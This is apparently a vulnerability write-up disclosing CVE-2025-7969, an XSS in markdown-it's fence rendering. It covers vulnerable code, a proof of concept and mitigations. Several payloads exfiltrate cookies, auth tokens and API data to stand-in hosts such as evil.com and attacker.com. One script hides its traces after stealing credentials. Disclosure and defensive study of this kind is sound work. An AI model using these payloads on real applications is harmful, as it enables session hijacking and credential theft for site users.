1048 words
5 minutes
CVE-2025-7969: Markdown-it Fence Rendering XSS - Fito

TL;DR#

Markdown-it 14.1.0 contains an XSS vulnerability (CVE-2025-7969) that enables arbitrary JavaScript execution through a fence rendering bypass. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.


Technical Analysis#

The Core Vulnerability#

The vulnerability exists in the library’s fence rendering logic. Markdown-it uses a naive string check in its default_rules.fence function that bypasses all security controls when highlight functions return HTML starting with <pre:

// lib/renderer.mjs lines 48-50
if (highlighted.indexOf('<pre') === 0) {
return highlighted + '\n' // Direct return bypasses all sanitization
}

Fence Rendering Mechanics#

When processing fenced code blocks, the library accepts user-controlled content through custom highlight functions. The vulnerability occurs when:

  1. A custom options.highlight function processes user input
  2. The function returns content that starts with the string <pre
  3. Markdown-it bypasses all HTML escaping and sanitization
  4. Malicious content is injected directly into the DOM
// Vulnerable fence processing flow
default_rules.fence = function (tokens, idx, options, env, slf) {
const token = tokens[idx]
// ... language processing ...
let highlighted
if (options.highlight) {
// User-controlled content processed here
highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
} else {
highlighted = escapeHtml(token.content) // Safe path
}
// THE VULNERABILITY: No validation of highlight function output
if (highlighted.indexOf('<pre') === 0) {
return highlighted + '\n' // Direct injection!
}
// Normal safe rendering path
return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
}

The XSS Injection Chain#

  1. Input Phase:

    • User provides fenced code block with malicious content
    • Content is designed to trick highlight functions into returning <pre-prefixed HTML
  2. Processing Phase:

    • Custom highlight function processes the malicious input
    • Function returns HTML containing both legitimate <pre> tags and malicious payloads
  3. Bypass Phase:

    • Markdown-it’s string check highlighted.indexOf('<pre') === 0 passes
    • All sanitization is bypassed - content returned directly
  4. Injection Phase:

    • Malicious HTML/JavaScript executes in browser context
    • No Content Security Policy or input validation can stop it at this point

Advanced Exploitation Vectors#

Direct Code Block Injection#

const maliciousMarkdown = `
\`\`\`javascript
<pre><code>console.log("Normal code");</code></pre><img src="x" onerror="alert('XSS!')">
\`\`\`
`;
// Highlight function that enables the vulnerability
const vulnerableHighlight = (str, lang, attrs) => {
if (str.trim().startsWith('<pre')) {
return str; // Direct return enables bypass
}
return `<pre><code>${str}</code></pre>`;
};

Event Handler Injection#

const eventHandlerPayload = `
\`\`\`html
<pre onclick="fetch('/api/user', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('//evil.com/'+btoa(JSON.stringify(d))))" style="cursor:pointer;background:#f00;color:white;padding:10px;">
Click for data exfiltration
</pre>
\`\`\`
`;

DOM-Based XSS Chain#

// Multi-stage attack through DOM manipulation
const domChainPayload = `
\`\`\`javascript
<pre><code>function legitimate() { return true; }</code></pre>
<script>
// Stage 1: Setup persistence
localStorage.setItem('xss_payload', 'document.body.innerHTML="<h1>PWNED</h1>"');
// Stage 2: Trigger on user interaction
document.addEventListener('click', () => {
eval(localStorage.getItem('xss_payload'));
});
</script>
\`\`\`
`;

Bypassing Traditional Protections#

  1. Content Security Policy (CSP):

    • Many CSP implementations allow inline event handlers
    • The vulnerability occurs during markdown processing, before CSP evaluation
    • Malicious content appears as “legitimate” markdown output
  2. Input Sanitization:

    • Traditional HTML sanitizers run after markdown processing
    • The vulnerability bypasses markdown-it’s internal sanitization
    • Malicious content looks like valid HTML structure
  3. Server-Side Rendering:

    • XSS executes during client-side hydration
    • Server logs show “legitimate” markdown processing
    • Difficult to detect through traditional monitoring

Exploitation Techniques#

Stored XSS via Documentation Systems#

// Vulnerable documentation platform
app.post('/docs/create', (req, res) => {
const { content, title } = req.body;
// Process markdown with vulnerable highlight function
const html = md.render(content);
// Store in database - becomes persistent XSS
database.docs.insert({
title,
content: html, // Stored XSS payload
created: new Date()
});
});

Reflected XSS via Live Previews#

// Live markdown preview endpoint (vulnerable)
app.get('/preview', (req, res) => {
const markdown = req.query.content;
// Real-time processing enables reflected XSS
const preview = md.render(markdown);
res.json({ preview }); // XSS in response
});

Supply Chain Attacks#

// Malicious highlight function in compromised package
const compromisedHighlighter = (code, lang) => {
// Legitimate highlighting
const result = actualHighlight(code, lang);
// Inject backdoor when specific conditions met
if (code.includes('SECRET_TRIGGER')) {
return `<pre><code>${result}</code></pre><img src="x" onerror="fetch('//attacker.com/harvest?data='+document.cookie)">`;
}
return result;
};

Advanced Payload Construction#

Multi-Vector Attack#

const multiVectorPayload = `
\`\`\`html
<pre id="legit"><code>function example() { return 42; }</code></pre>
<style>
#legit { display: none; }
body::after {
content: "Loading...";
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
font-size: 24px;
}
</style>
<script>
// Delayed execution to avoid detection
setTimeout(() => {
// Credential harvesting
const token = localStorage.getItem('auth_token');
const session = document.cookie;
// Data exfiltration
fetch('//evil.com/collect', {
method: 'POST',
body: JSON.stringify({ token, session, url: location.href }),
headers: { 'Content-Type': 'application/json' }
});
// Cover tracks
document.querySelector('style').remove();
document.getElementById('legit').style.display = 'block';
}, 2000);
</script>
\`\`\`
`;

Mitigation Strategies#

Immediate Actions#

  1. Upgrade markdown-it to patched version (not yet available)

    Terminal window
    npm install markdown-it@latest
  2. Temporary Workarounds

    // Safe highlight function wrapper
    function safeHighlight(originalHighlight) {
    return function(str, lang, attrs) {
    const result = originalHighlight(str, lang, attrs);
    // Never return content starting with <pre
    if (typeof result === 'string' && result.indexOf('<pre') === 0) {
    // Force safe rendering path
    return null;
    }
    return result;
    };
    }
    // Usage
    const md = new MarkdownIt({
    highlight: safeHighlight(myHighlightFunction)
    });

Secure Implementation Patterns#

  1. Output Validation (simple validatons to make a point)

    function validateHighlightOutput(output, originalContent) {
    // Reject any output that starts with HTML tags
    if (/<[^>]+>/.test(output.trim().substring(0, 10))) {
    throw new Error('Highlight function returned unsafe HTML');
    }
    // Ensure output doesn't contain script tags or event handlers
    const dangerousPatterns = [
    /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
    /\bon\w+\s*=/gi,
    /javascript:/gi,
    /data:text\/html/gi
    ];
    for (const pattern of dangerousPatterns) {
    if (pattern.test(output)) {
    throw new Error('Highlight function returned malicious content');
    }
    }
    return output;
    }
  2. Content Security Policy

    // Strict CSP for markdown content
    app.use((req, res, next) => {
    res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'unsafe-inline'", // Only if absolutely necessary
    "object-src 'none'",
    "style-src 'self' 'unsafe-inline'", // For syntax highlighting
    "img-src 'self' data: https:",
    "connect-src 'self'"
    ].join('; '));
    next();
    });
  3. HTML Sanitization

    import DOMPurify from 'dompurify';
    // Always sanitize markdown output
    function renderSafeMarkdown(content, options) {
    const html = md.render(content, options);
    // Sanitize the final HTML output
    return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'h1', 'h2', 'h3'],
    ALLOWED_ATTR: ['class'],
    FORBID_SCRIPT: true,
    FORBID_TAGS: ['script', 'object', 'embed', 'link'],
    FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover']
    });
    }

Conclusion#

This vulnerability demonstrates the critical importance of output validation in markdown processing libraries. The bypass mechanism in markdown-it’s fence rendering creates a significant attack surface that affects any application using custom highlight functions.

The impact is particularly severe given markdown-it’s widespread adoption in documentation platforms, content management systems, and developer tools. Organizations should prioritize upgrading to patched versions (hopefully available soon) and implementing additional security layers.

References#

  1. Markdown-it GitHub Repository
  2. MDN: Cross-site scripting (XSS)
  3. OWASP XSS Prevention Cheat Sheet
  4. CVE-2025-7969 Details
  5. Security Advisory

Exploit PoC#

import MarkdownIt from 'markdown-it';
// Vulnerable highlight function
const highlight = (str, lang) => {
if (str.trim().startsWith('<pre')) {
return str; // This enables the bypass
}
return `<pre><code>${str}</code></pre>`;
};
const md = new MarkdownIt({ highlight });
const payload = `
\`\`\`javascript
<pre><code>console.log("Hello");</code></pre><img src="x" onerror="alert('XSS!')">
\`\`\`
`;
console.log(md.render(payload));

Result: XSS payload executes when the generated HTML is rendered in browser.


Impact#

  • Stored/Reflected/DOM-based XSS in any application using vulnerable markdown-it
  • Affects documentation platforms, CMSs, and developer tools
  • CVE reserved: CVE-2025-7969

CVE-2025-7969: Markdown-it Fence Rendering XSS - Fito
https://caverav.cl/posts/markdown-it-xss/markdown-it-xss/
Author
Camilo Vera
Published at
2025-08-20
License
CC BY-NC-SA 4.0